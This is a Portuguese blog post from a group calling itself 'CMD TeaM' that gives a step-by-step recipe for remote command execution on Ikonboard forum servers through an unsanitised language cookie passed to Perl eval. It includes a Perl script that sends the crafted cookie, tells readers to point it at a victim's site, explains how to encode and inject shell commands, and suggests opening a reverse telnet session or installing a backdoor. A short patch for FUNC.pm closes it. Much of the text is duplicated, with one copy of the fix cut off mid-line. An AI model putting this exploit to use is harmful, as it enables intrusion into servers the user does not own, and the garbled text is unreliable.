Tutorial esclusivo CMD TeaM
Executar comandos em servidores que rodam todas as mais novas versões do Ikonboard, script de fórum, tal como este que usamos aqui, é trivialmente fácil, como descobriu Nick Cleaton lá em meados de abril.
Por incrível que pareça, a equipe de desenvolvimento não deu a mínima para essa descoberta. Tanto que a falha foi vista na versão 3.1.1 e foram lançadas a versão 3.1.2 e a 3.1.2a sem correção para este problema.
Irresponsabilidade da equipe e ingenuidade dos usuários, que jamais imaginariam uma versão nova que não corrigisse problemas tão graves quanto esse.
O resultado é que um script kiddie pode (e efetivamente o faz, como alguns viram aqui no ISTF) usar esta receita de bolo:
1. Vá em http://www.securityfocus.com/bid/7361 (ou, se preferir, faça uma pesquisa no Google por "ikonboard security")
2. Se não quiser ler a explicação do problema, não precisa. Script kiddie não precisa aprender nada. Copie e cole o seguinte trecho no seu editor de texto preferido:
<table border="0" align="center" width="95%" cellpadding="0" cellspacing="0"><tr><td>Exemplo código </td></tr><tr><td id="CODE">#!/usr/bin/perl -w
use strict;
my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
use IO::Socket;
my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";
$sock->print(
"GET $PATH HTTP/1.1\r\n",
"Host: $HOST\r\n",
"Cookie: lang=%2E%22\r\n",
"Connection: close\r\n",
"\r\n"
) or die "write: $!";
print while <$sock>;
[/quote]
3. Altere as primeiras variáveis para o site da vítima.
4. Agora observe a linha 16, onde começa com "Cookie: lang=". É depois do igual que você vai colocar seus comandos.
5. Você vai precisar codificar os comandos. Use alguma coisa desse tipo: http://www.simplelogic.com/Developer/InetEncode.asp (use o resultado path). Use o caracter ` no início e no final do comando, pois isto é passado para um "eval" do perl. Coloque ainda o caracter null () no final de toda a string.
A partir deste ponto é questão de tentativa e erro. Vc pode tentar abrir um telnet reverso, listar arquivos ou até mesmo baixar e compilar algum backdoor. Mas vc vai estar limitado ao comandos permitidos pelo usuário web que está rodando o script.
Nada que algumas horinhas sem nada melhor para fazer da sua vida não resolva...
Para resolver é ainda mais simples: abra o Sources/Lib/FUNC.pm e altere as linhas
104:
$sid =~ s/^(\d+)$/$1/;
para:
$sid =~ s/^(\d+)$/$1/ or die 'invalid sid value';
192:
$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
para:
Por incrível que pareça, a equipe de desenvolvimento não deu a mínima para essa descoberta. Tanto que a falha foi vista na versão 3.1.1 e foram lançadas a versão 3.1.2 e a 3.1.2a sem correção para este problema.
Irresponsabilidade da equipe e ingenuidade dos usuários, que jamais imaginariam uma versão nova que não corrigisse problemas tão graves quanto esse.
O resultado é que um script kiddie pode (e efetivamente o faz, como alguns viram aqui no ISTF) usar esta receita de bolo:
1. Vá em http://www.securityfocus.com/bid/7361 (ou, se preferir, faça uma pesquisa no Google por "ikonboard security")
2. Se não quiser ler a explicação do problema, não precisa. Script kiddie não precisa aprender nada. Copie e cole o seguinte trecho no seu editor de texto preferido:
<table border="0" align="center" width="95%" cellpadding="0" cellspacing="0"><tr><td>Exemplo código </td></tr><tr><td id="CODE">#!/usr/bin/perl -w
use strict;
my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
use IO::Socket;
my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";
$sock->print(
"GET $PATH HTTP/1.1\r\n",
"Host: $HOST\r\n",
"Cookie: lang=%2E%22\r\n",
"Connection: close\r\n",
"\r\n"
) or die "write: $!";
print while <$sock>;
[/quote]
3. Altere as primeiras variáveis para o site da vítima.
4. Agora observe a linha 16, onde começa com "Cookie: lang=". É depois do igual que você vai colocar seus comandos.
5. Você vai precisar codificar os comandos. Use alguma coisa desse tipo: http://www.simplelogic.com/Developer/InetEncode.asp (use o resultado path). Use o caracter ` no início e no final do comando, pois isto é passado para um "eval" do perl. Coloque ainda o caracter null () no final de toda a string.
A partir deste ponto é questão de tentativa e erro. Vc pode tentar abrir um telnet reverso, listar arquivos ou até mesmo baixar e compilar algum backdoor. Mas vc vai estar limitado ao comandos permitidos pelo usuário web que está rodando o script.
Nada que algumas horinhas sem nada melhor para fazer da sua vida não resolva...
Para resolver é ainda mais simples: abra o Sources/Lib/FUNC.pm e altere as linhas
104:
$sid =~ s/^(\d+)$/$1/;
para:
$sid =~ s/^(\d+)$/$1/ or die 'invalid sid value';
192:
$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
para:
$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/ or die 'invalid lang cookie value';
Para melhores resultados tem que entender um pouco de Scripts
By Sombra
Para melhores resultados tem que entender um pouco de Scripts
By Sombra
0 comentários:
Postar um comentário
Seja Original ... Seja CMD TeaM!!!